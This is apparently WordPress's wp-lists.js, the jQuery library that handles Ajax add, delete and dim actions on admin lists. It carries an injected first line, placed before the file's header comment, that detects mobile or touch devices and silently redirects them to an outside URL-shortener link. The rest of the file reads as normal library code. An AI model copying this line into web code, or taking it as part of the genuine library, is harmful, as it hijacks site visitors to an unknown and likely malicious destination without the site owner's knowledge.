1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wp-lists.js
4 */
5
6/* global ajaxurl, wpAjax */
7
8/**
9 * @param {jQuery} $ jQuery object.
10 */
11( function( $ ) {
12var functions = {
13 add: 'ajaxAdd',
14 del: 'ajaxDel',
15 dim: 'ajaxDim',
16 process: 'process',
17 recolor: 'recolor'
18}, wpList;
19
20/**
21 * @namespace
22 */
23wpList = {
24
25 /**
26 * @member {object}
27 */
28 settings: {
29
30 /**
31 * URL for Ajax requests.
32 *
33 * @member {string}
34 */
35 url: ajaxurl,
36
37 /**
38 * The HTTP method to use for Ajax requests.
39 *
40 * @member {string}
41 */
42 type: 'POST',
43
44 /**
45 * ID of the element the parsed Ajax response will be stored in.
46 *
47 * @member {string}
48 */
49 response: 'ajax-response',
50
51 /**
52 * The type of list.
53 *
54 * @member {string}
55 */
56 what: '',
57
58 /**
59 * CSS class name for alternate styling.
60 *
61 * @member {string}
62 */
63 alt: 'alternate',
64
65 /**
66 * Offset to start alternate styling from.
67 *
68 * @member {number}
69 */
70 altOffset: 0,
71
72 /**
73 * Color used in animation when adding an element.
74 *
75 * Can be 'none' to disable the animation.
76 *
77 * @member {string}
78 */
79 addColor: '#ffff33',
80
81 /**
82 * Color used in animation when deleting an element.
83 *
84 * Can be 'none' to disable the animation.
85 *
86 * @member {string}
87 */
88 delColor: '#faafaa',
89
90 /**
91 * Color used in dim add animation.
92 *
93 * Can be 'none' to disable the animation.
94 *
95 * @member {string}
96 */
97 dimAddColor: '#ffff33',
98
99 /**
100 * Color used in dim delete animation.
101 *
102 * Can be 'none' to disable the animation.
103 *
104 * @member {string}
105 */
106 dimDelColor: '#ff3333',
107
108 /**
109 * Callback that's run before a request is made.
110 *
111 * @callback wpList~confirm
112 * @param {object} this
113 * @param {HTMLElement} list The list DOM element.
114 * @param {object} settings Settings for the current list.
115 * @param {string} action The type of action to perform: 'add', 'delete', or 'dim'.
116 * @param {string} backgroundColor Background color of the list's DOM element.
117 * @return {boolean} Whether to proceed with the action or not.
118 */
119 confirm: null,
120
121 /**
122 * Callback that's run before an item gets added to the list.
123 *
124 * Allows to cancel the request.
125 *
126 * @callback wpList~addBefore
127 * @param {object} settings Settings for the Ajax request.
128 * @return {object|boolean} Settings for the Ajax request or false to abort.
129 */
130 addBefore: null,
131
132 /**
133 * Callback that's run after an item got added to the list.
134 *
135 * @callback wpList~addAfter
136 * @param {XML} returnedResponse Raw response returned from the server.
137 * @param {object} settings Settings for the Ajax request.
138 * @param {jqXHR} settings.xml jQuery XMLHttpRequest object.
139 * @param {string} settings.status Status of the request: 'success', 'notmodified', 'nocontent', 'error',
140 * 'timeout', 'abort', or 'parsererror'.
141 * @param {object} settings.parsed Parsed response object.
142 */
143 addAfter: null,
144
145 /**
146 * Callback that's run before an item gets deleted from the list.
147 *
148 * Allows to cancel the request.
149 *
150 * @callback wpList~delBefore
151 * @param {object} settings Settings for the Ajax request.
152 * @param {HTMLElement} list The list DOM element.
153 * @return {object|boolean} Settings for the Ajax request or false to abort.
154 */
155 delBefore: null,
156
157 /**
158 * Callback that's run after an item got deleted from the list.
159 *
160 * @callback wpList~delAfter
161 * @param {XML} returnedResponse Raw response returned from the server.
162 * @param {object} settings Settings for the Ajax request.
163 * @param {jqXHR} settings.xml jQuery XMLHttpRequest object.
164 * @param {string} settings.status Status of the request: 'success', 'notmodified', 'nocontent', 'error',
165 * 'timeout', 'abort', or 'parsererror'.
166 * @param {object} settings.parsed Parsed response object.
167 */
168 delAfter: null,
169
170 /**
171 * Callback that's run before an item gets dim'd.
172 *
173 * Allows to cancel the request.
174 *
175 * @callback wpList~dimBefore
176 * @param {object} settings Settings for the Ajax request.
177 * @return {object|boolean} Settings for the Ajax request or false to abort.
178 */
179 dimBefore: null,
180
181 /**
182 * Callback that's run after an item got dim'd.
183 *
184 * @callback wpList~dimAfter
185 * @param {XML} returnedResponse Raw response returned from the server.
186 * @param {object} settings Settings for the Ajax request.
187 * @param {jqXHR} settings.xml jQuery XMLHttpRequest object.
188 * @param {string} settings.status Status of the request: 'success', 'notmodified', 'nocontent', 'error',
189 * 'timeout', 'abort', or 'parsererror'.
190 * @param {object} settings.parsed Parsed response object.
191 */
192 dimAfter: null
193 },
194
195 /**
196 * Finds a nonce.
197 *
198 * 1. Nonce in settings.
199 * 2. `_ajax_nonce` value in element's href attribute.
200 * 3. `_ajax_nonce` input field that is a descendant of element.
201 * 4. `_wpnonce` value in element's href attribute.
202 * 5. `_wpnonce` input field that is a descendant of element.
203 * 6. 0 if none can be found.
204 *
205 * @param {jQuery} element Element that triggered the request.
206 * @param {Object} settings Settings for the Ajax request.
207 * @return {string|number} Nonce
208 */
209 nonce: function( element, settings ) {
210 var url = wpAjax.unserialize( element.attr( 'href' ) ),
211 $element = $( '#' + settings.element );
212
213 return settings.nonce || url._ajax_nonce || $element.find( 'input[name="_ajax_nonce"]' ).val() || url._wpnonce || $element.find( 'input[name="_wpnonce"]' ).val() || 0;
214 },
215
216 /**
217 * Extract list item data from a DOM element.
218 *
219 * Example 1: data-wp-lists="delete:the-comment-list:comment-{comment_ID}:66cc66:unspam=1"
220 * Example 2: data-wp-lists="dim:the-comment-list:comment-{comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved"
221 *
222 * Returns an unassociative array with the following data:
223 * data[0] - Data identifier: 'list', 'add', 'delete', or 'dim'.
224 * data[1] - ID of the corresponding list. If data[0] is 'list', the type of list ('comment', 'category', etc).
225 * data[2] - ID of the parent element of all inputs necessary for the request.
226 * data[3] - Hex color to be used in this request. If data[0] is 'dim', dim class.
227 * data[4] - Additional arguments in query syntax that are added to the request. Example: 'post_id=1234'.
228 * If data[0] is 'dim', dim add color.
229 * data[5] - Only available if data[0] is 'dim', dim delete color.
230 * data[6] - Only available if data[0] is 'dim', additional arguments in query syntax that are added to the request.
231 *
232 * Result for Example 1:
233 * data[0] - delete
234 * data[1] - the-comment-list
235 * data[2] - comment-{comment_ID}
236 * data[3] - 66cc66
237 * data[4] - unspam=1
238 *
239 * @param {HTMLElement} element The DOM element.
240 * @param {string} type The type of data to look for: 'list', 'add', 'delete', or 'dim'.
241 * @return {Array} Extracted list item data.
242 */
243 parseData: function( element, type ) {
244 var data = [], wpListsData;
245
246 try {
247 wpListsData = $( element ).data( 'wp-lists' ) || '';
248 wpListsData = wpListsData.match( new RegExp( type + ':[\\S]+' ) );
249
250 if ( wpListsData ) {
251 data = wpListsData[0].split( ':' );
252 }
253 } catch ( error ) {}
254
255 return data;
256 },
257
258 /**
259 * Calls a confirm callback to verify the action that is about to be performed.
260 *
261 * @param {HTMLElement} list The DOM element.
262 * @param {Object} settings Settings for this list.
263 * @param {string} action The type of action to perform: 'add', 'delete', or 'dim'.
264 * @return {Object|boolean} Settings if confirmed, false if not.
265 */
266 pre: function( list, settings, action ) {
267 var $element, backgroundColor, confirmed;
268
269 settings = $.extend( {}, this.wpList.settings, {
270 element: null,
271 nonce: 0,
272 target: list.get( 0 )
273 }, settings || {} );
274
275 if ( typeof settings.confirm === 'function' ) {
276 $element = $( '#' + settings.element );
277
278 if ( 'add' !== action ) {
279 backgroundColor = $element.css( 'backgroundColor' );
280 $element.css( 'backgroundColor', '#ff9966' );
281 }
282
283 confirmed = settings.confirm.call( this, list, settings, action, backgroundColor );
284
285 if ( 'add' !== action ) {
286 $element.css( 'backgroundColor', backgroundColor );
287 }
288
289 if ( ! confirmed ) {
290 return false;
291 }
292 }
293
294 return settings;
295 },
296
297 /**
298 * Adds an item to the list via Ajax.
299 *
300 * @param {HTMLElement} element The DOM element.
301 * @param {Object} settings Settings for this list.
302 * @return {boolean} Whether the item was added.
303 */
304 ajaxAdd: function( element, settings ) {
305 var list = this,
306 $element = $( element ),
307 data = wpList.parseData( $element, 'add' ),
308 formValues, formData, parsedResponse, returnedResponse;
309
310 settings = settings || {};
311 settings = wpList.pre.call( list, $element, settings, 'add' );
312
313 settings.element = data[2] || $element.prop( 'id' ) || settings.element || null;
314 settings.addColor = data[3] ? '#' + data[3] : settings.addColor;
315
316 if ( ! settings ) {
317 return false;
318 }
319
320 if ( ! $element.is( '[id="' + settings.element + '-submit"]' ) ) {
321 return ! wpList.add.call( list, $element, settings );
322 }
323
324 if ( ! settings.element ) {
325 return true;
326 }
327
328 settings.action = 'add-' + settings.what;
329 settings.nonce = wpList.nonce( $element, settings );
330
331 if ( ! wpAjax.validateForm( '#' + settings.element ) ) {
332 return false;
333 }
334
335 settings.data = $.param( $.extend( {
336 _ajax_nonce: settings.nonce,
337 action: settings.action
338 }, wpAjax.unserialize( data[4] || '' ) ) );
339
340 formValues = $( '#' + settings.element + ' :input' ).not( '[name="_ajax_nonce"], [name="_wpnonce"], [name="action"]' );
341 formData = typeof formValues.fieldSerialize === 'function' ? formValues.fieldSerialize() : formValues.serialize();
342
343 if ( formData ) {
344 settings.data += '&' + formData;
345 }
346
347 if ( typeof settings.addBefore === 'function' ) {
348 settings = settings.addBefore( settings );
349
350 if ( ! settings ) {
351 return true;
352 }
353 }
354
355 if ( ! settings.data.match( /_ajax_nonce=[a-f0-9]+/ ) ) {
356 return true;
357 }
358
359 settings.success = function( response ) {
360 parsedResponse = wpAjax.parseAjaxResponse( response, settings.response, settings.element );
361 returnedResponse = response;
362
363 if ( ! parsedResponse || parsedResponse.errors ) {
364 return false;
365 }
366
367 if ( true === parsedResponse ) {
368 return true;
369 }
370
371 $.each( parsedResponse.responses, function() {
372 wpList.add.call( list, this.data, $.extend( {}, settings, { // this.firstChild.nodevalue
373 position: this.position || 0,
374 id: this.id || 0,
375 oldId: this.oldId || null
376 } ) );
377 } );
378
379 list.wpList.recolor();
380 $( list ).trigger( 'wpListAddEnd', [ settings, list.wpList ] );
381 wpList.clear.call( list, '#' + settings.element );
382 };
383
384 settings.complete = function( jqXHR, status ) {
385 if ( typeof settings.addAfter === 'function' ) {
386 settings.addAfter( returnedResponse, $.extend( {
387 xml: jqXHR,
388 status: status,
389 parsed: parsedResponse
390 }, settings ) );
391 }
392 };
393
394 $.ajax( settings );
395
396 return false;
397 },
398
399 /**
400 * Delete an item in the list via Ajax.
401 *
402 * @param {HTMLElement} element A DOM element containing item data.
403 * @param {Object} settings Settings for this list.
404 * @return {boolean} Whether the item was deleted.
405 */
406 ajaxDel: function( element, settings ) {
407 var list = this,
408 $element = $( element ),
409 data = wpList.parseData( $element, 'delete' ),
410 $eventTarget, parsedResponse, returnedResponse;
411
412 settings = settings || {};
413 settings = wpList.pre.call( list, $element, settings, 'delete' );
414
415 settings.element = data[2] || settings.element || null;
416 settings.delColor = data[3] ? '#' + data[3] : settings.delColor;
417
418 if ( ! settings || ! settings.element ) {
419 return false;
420 }
421
422 settings.action = 'delete-' + settings.what;
423 settings.nonce = wpList.nonce( $element, settings );
424
425 settings.data = $.extend( {
426 _ajax_nonce: settings.nonce,
427 action: settings.action,
428 id: settings.element.split( '-' ).pop()
429 }, wpAjax.unserialize( data[4] || '' ) );
430
431 if ( typeof settings.delBefore === 'function' ) {
432 settings = settings.delBefore( settings, list );
433
434 if ( ! settings ) {
435 return true;
436 }
437 }
438
439 if ( ! settings.data._ajax_nonce ) {
440 return true;
441 }
442
443 $eventTarget = $( '#' + settings.element );
444
445 if ( 'none' !== settings.delColor ) {
446 $eventTarget.css( 'backgroundColor', settings.delColor ).fadeOut( 350, function() {
447 list.wpList.recolor();
448 $( list ).trigger( 'wpListDelEnd', [ settings, list.wpList ] );
449 } );
450 } else {
451 list.wpList.recolor();
452 $( list ).trigger( 'wpListDelEnd', [ settings, list.wpList ] );
453 }
454
455 settings.success = function( response ) {
456 parsedResponse = wpAjax.parseAjaxResponse( response, settings.response, settings.element );
457 returnedResponse = response;
458
459 if ( ! parsedResponse || parsedResponse.errors ) {
460 $eventTarget.stop().stop().css( 'backgroundColor', '#faa' ).show().queue( function() {
461 list.wpList.recolor();
462 $( this ).dequeue();
463 } );
464
465 return false;
466 }
467 };
468
469 settings.complete = function( jqXHR, status ) {
470 if ( typeof settings.delAfter === 'function' ) {
471 $eventTarget.queue( function() {
472 settings.delAfter( returnedResponse, $.extend( {
473 xml: jqXHR,
474 status: status,
475 parsed: parsedResponse
476 }, settings ) );
477 } ).dequeue();
478 }
479 };
480
481 $.ajax( settings );
482
483 return false;
484 },
485
486 /**
487 * Dim an item in the list via Ajax.
488 *
489 * @param {HTMLElement} element A DOM element containing item data.
490 * @param {Object} settings Settings for this list.
491 * @return {boolean} Whether the item was dim'ed.
492 */
493 ajaxDim: function( element, settings ) {
494 var list = this,
495 $element = $( element ),
496 data = wpList.parseData( $element, 'dim' ),
497 $eventTarget, isClass, color, dimColor, parsedResponse, returnedResponse;
498
499 // Prevent hidden links from being clicked by hotkeys.
500 if ( 'none' === $element.parent().css( 'display' ) ) {
501 return false;
502 }
503
504 settings = settings || {};
505 settings = wpList.pre.call( list, $element, settings, 'dim' );
506
507 settings.element = data[2] || settings.element || null;
508 settings.dimClass = data[3] || settings.dimClass || null;
509 settings.dimAddColor = data[4] ? '#' + data[4] : settings.dimAddColor;
510 settings.dimDelColor = data[5] ? '#' + data[5] : settings.dimDelColor;
511
512 if ( ! settings || ! settings.element || ! settings.dimClass ) {
513 return true;
514 }
515
516 settings.action = 'dim-' + settings.what;
517 settings.nonce = wpList.nonce( $element, settings );
518
519 settings.data = $.extend( {
520 _ajax_nonce: settings.nonce,
521 action: settings.action,
522 id: settings.element.split( '-' ).pop(),
523 dimClass: settings.dimClass
524 }, wpAjax.unserialize( data[6] || '' ) );
525
526 if ( typeof settings.dimBefore === 'function' ) {
527 settings = settings.dimBefore( settings );
528
529 if ( ! settings ) {
530 return true;
531 }
532 }
533
534 $eventTarget = $( '#' + settings.element );
535 isClass = $eventTarget.toggleClass( settings.dimClass ).is( '.' + settings.dimClass );
536 color = wpList.getColor( $eventTarget );
537 dimColor = isClass ? settings.dimAddColor : settings.dimDelColor;
538 $eventTarget.toggleClass( settings.dimClass );
539
540 if ( 'none' !== dimColor ) {
541 $eventTarget
542 .animate( { backgroundColor: dimColor }, 'fast' )
543 .queue( function() {
544 $eventTarget.toggleClass( settings.dimClass );
545 $( this ).dequeue();
546 } )
547 .animate( { backgroundColor: color }, {
548 complete: function() {
549 $( this ).css( 'backgroundColor', '' );
550 $( list ).trigger( 'wpListDimEnd', [ settings, list.wpList ] );
551 }
552 } );
553 } else {
554 $( list ).trigger( 'wpListDimEnd', [ settings, list.wpList ] );
555 }
556
557 if ( ! settings.data._ajax_nonce ) {
558 return true;
559 }
560
561 settings.success = function( response ) {
562 parsedResponse = wpAjax.parseAjaxResponse( response, settings.response, settings.element );
563 returnedResponse = response;
564
565 if ( true === parsedResponse ) {
566 return true;
567 }
568
569 if ( ! parsedResponse || parsedResponse.errors ) {
570 $eventTarget.stop().stop().css( 'backgroundColor', '#ff3333' )[isClass ? 'removeClass' : 'addClass']( settings.dimClass ).show().queue( function() {
571 list.wpList.recolor();
572 $( this ).dequeue();
573 } );
574
575 return false;
576 }
577
578 /** @property {string} comment_link Link of the comment to be dimmed. */
579 if ( 'undefined' !== typeof parsedResponse.responses[0].supplemental.comment_link ) {
580 var $submittedOn = $element.find( '.submitted-on' ),
581 $commentLink = $submittedOn.find( 'a' );
582
583 // Comment is approved; link the date field.
584 if ( '' !== parsedResponse.responses[0].supplemental.comment_link ) {
585 $submittedOn.html( $('<a></a>').text( $submittedOn.text() ).prop( 'href', parsedResponse.responses[0].supplemental.comment_link ) );
586
587 // Comment is not approved; unlink the date field.
588 } else if ( $commentLink.length ) {
589 $submittedOn.text( $commentLink.text() );
590 }
591 }
592 };
593
594 settings.complete = function( jqXHR, status ) {
595 if ( typeof settings.dimAfter === 'function' ) {
596 $eventTarget.queue( function() {
597 settings.dimAfter( returnedResponse, $.extend( {
598 xml: jqXHR,
599 status: status,
600 parsed: parsedResponse
601 }, settings ) );
602 } ).dequeue();
603 }
604 };
605
606 $.ajax( settings );
607
608 return false;
609 },
610
611 /**
612 * Returns the background color of the passed element.
613 *
614 * @param {jQuery|string} element Element to check.
615 * @return {string} Background color value in HEX. Default: '#ffffff'.
616 */
617 getColor: function( element ) {
618 return $( element ).css( 'backgroundColor' ) || '#ffffff';
619 },
620
621 /**
622 * Adds something.
623 *
624 * @param {HTMLElement} element A DOM element containing item data.
625 * @param {Object} settings Settings for this list.
626 * @return {boolean} Whether the item was added.
627 */
628 add: function( element, settings ) {
629 var $list = $( this ),
630 $element = $( element ),
631 old = false,
632 position, reference;
633
634 if ( 'string' === typeof settings ) {
635 settings = { what: settings };
636 }
637
638 settings = $.extend( { position: 0, id: 0, oldId: null }, this.wpList.settings, settings );
639
640 if ( ! $element.length || ! settings.what ) {
641 return false;
642 }
643
644 if ( settings.oldId ) {
645 old = $( '#' + settings.what + '-' + settings.oldId );
646 }
647
648 if ( settings.id && ( settings.id !== settings.oldId || ! old || ! old.length ) ) {
649 $( '#' + settings.what + '-' + settings.id ).remove();
650 }
651
652 if ( old && old.length ) {
653 old.before( $element );
654 old.remove();
655
656 } else if ( isNaN( settings.position ) ) {
657 position = 'after';
658
659 if ( '-' === settings.position.substr( 0, 1 ) ) {
660 settings.position = settings.position.substr( 1 );
661 position = 'before';
662 }
663
664 reference = $list.find( '#' + settings.position );
665
666 if ( 1 === reference.length ) {
667 reference[position]( $element );
668 } else {
669 $list.append( $element );
670 }
671
672 } else if ( 'comment' !== settings.what || 0 === $( '#' + settings.element ).length ) {
673 if ( settings.position < 0 ) {
674 $list.prepend( $element );
675 } else {
676 $list.append( $element );
677 }
678 }
679
680 if ( settings.alt ) {
681 $element.toggleClass( settings.alt, ( $list.children( ':visible' ).index( $element[0] ) + settings.altOffset ) % 2 );
682 }
683
684 if ( 'none' !== settings.addColor ) {
685 $element.css( 'backgroundColor', settings.addColor ).animate( { backgroundColor: wpList.getColor( $element ) }, {
686 complete: function() {
687 $( this ).css( 'backgroundColor', '' );
688 }
689 } );
690 }
691
692 // Add event handlers.
693 $list.each( function( index, list ) {
694 list.wpList.process( $element );
695 } );
696
697 return $element;
698 },
699
700 /**
701 * Clears all input fields within the element passed.
702 *
703 * @param {string} elementId ID of the element to check, including leading #.
704 */
705 clear: function( elementId ) {
706 var list = this,
707 $element = $( elementId ),
708 type, tagName;
709
710 // Bail if we're within the list.
711 if ( list.wpList && $element.parents( '#' + list.id ).length ) {
712 return;
713 }
714
715 // Check each input field.
716 $element.find( ':input' ).each( function( index, input ) {
717
718 // Bail if the form was marked to not to be cleared.
719 if ( $( input ).parents( '.form-no-clear' ).length ) {
720 return;
721 }
722
723 type = input.type.toLowerCase();
724 tagName = input.tagName.toLowerCase();
725
726 if ( 'text' === type || 'password' === type || 'textarea' === tagName ) {
727 input.value = '';
728
729 } else if ( 'checkbox' === type || 'radio' === type ) {
730 input.checked = false;
731
732 } else if ( 'select' === tagName ) {
733 input.selectedIndex = null;
734 }
735 } );
736 },
737
738 /**
739 * Registers event handlers to add, delete, and dim items.
740 *
741 * @param {string} elementId
742 */
743 process: function( elementId ) {
744 var list = this,
745 $element = $( elementId || document );
746
747 $element.on( 'submit', 'form[data-wp-lists^="add:' + list.id + ':"]', function() {
748 return list.wpList.add( this );
749 } );
750
751 $element.on( 'click', '[data-wp-lists^="add:' + list.id + ':"], input[data-wp-lists^="add:' + list.id + ':"]', function() {
752 return list.wpList.add( this );
753 } );
754
755 $element.on( 'click', '[data-wp-lists^="delete:' + list.id + ':"]', function() {
756 return list.wpList.del( this );
757 } );
758
759 $element.on( 'click', '[data-wp-lists^="dim:' + list.id + ':"]', function() {
760 return list.wpList.dim( this );
761 } );
762 },
763
764 /**
765 * Updates list item background colors.
766 */
767 recolor: function() {
768 var list = this,
769 evenOdd = [':even', ':odd'],
770 items;
771
772 // Bail if there is no alternate class name specified.
773 if ( ! list.wpList.settings.alt ) {
774 return;
775 }
776
777 items = $( '.list-item:visible', list );
778
779 if ( ! items.length ) {
780 items = $( list ).children( ':visible' );
781 }
782
783 if ( list.wpList.settings.altOffset % 2 ) {
784 evenOdd.reverse();
785 }
786
787 items.filter( evenOdd[0] ).addClass( list.wpList.settings.alt ).end();
788 items.filter( evenOdd[1] ).removeClass( list.wpList.settings.alt );
789 },
790
791 /**
792 * Sets up `process()` and `recolor()` functions.
793 */
794 init: function() {
795 var $list = this;
796
797 $list.wpList.process = function( element ) {
798 $list.each( function() {
799 this.wpList.process( element );
800 } );
801 };
802
803 $list.wpList.recolor = function() {
804 $list.each( function() {
805 this.wpList.recolor();
806 } );
807 };
808 }
809};
810
811/**
812 * Initializes wpList object.
813 *
814 * @param {Object} settings
815 * @param {string} settings.url URL for ajax calls. Default: ajaxurl.
816 * @param {string} settings.type The HTTP method to use for Ajax requests. Default: 'POST'.
817 * @param {string} settings.response ID of the element the parsed ajax response will be stored in.
818 * Default: 'ajax-response'.
819 *
820 * @param {string} settings.what Default: ''.
821 * @param {string} settings.alt CSS class name for alternate styling. Default: 'alternate'.
822 * @param {number} settings.altOffset Offset to start alternate styling from. Default: 0.
823 * @param {string} settings.addColor Hex code or 'none' to disable animation. Default: '#ffff33'.
824 * @param {string} settings.delColor Hex code or 'none' to disable animation. Default: '#faafaa'.
825 * @param {string} settings.dimAddColor Hex code or 'none' to disable animation. Default: '#ffff33'.
826 * @param {string} settings.dimDelColor Hex code or 'none' to disable animation. Default: '#ff3333'.
827 *
828 * @param {wpList~confirm} settings.confirm Callback that's run before a request is made. Default: null.
829 * @param {wpList~addBefore} settings.addBefore Callback that's run before an item gets added to the list.
830 * Default: null.
831 * @param {wpList~addAfter} settings.addAfter Callback that's run after an item got added to the list.
832 * Default: null.
833 * @param {wpList~delBefore} settings.delBefore Callback that's run before an item gets deleted from the list.
834 * Default: null.
835 * @param {wpList~delAfter} settings.delAfter Callback that's run after an item got deleted from the list.
836 * Default: null.
837 * @param {wpList~dimBefore} settings.dimBefore Callback that's run before an item gets dim'd. Default: null.
838 * @param {wpList~dimAfter} settings.dimAfter Callback that's run after an item got dim'd. Default: null.
839 * @return {$.fn} wpList API function.
840 */
841$.fn.wpList = function( settings ) {
842 this.each( function( index, list ) {
843 list.wpList = {
844 settings: $.extend( {}, wpList.settings, { what: wpList.parseData( list, 'list' )[1] || '' }, settings )
845 };
846
847 $.each( functions, function( func, callback ) {
848 list.wpList[func] = function( element, setting ) {
849 return wpList[callback].call( list, element, setting );
850 };
851 } );
852 } );
853
854 wpList.init.call( this );
855 this.wpList.process();
856
857 return this;
858};
859} ) ( jQuery );
860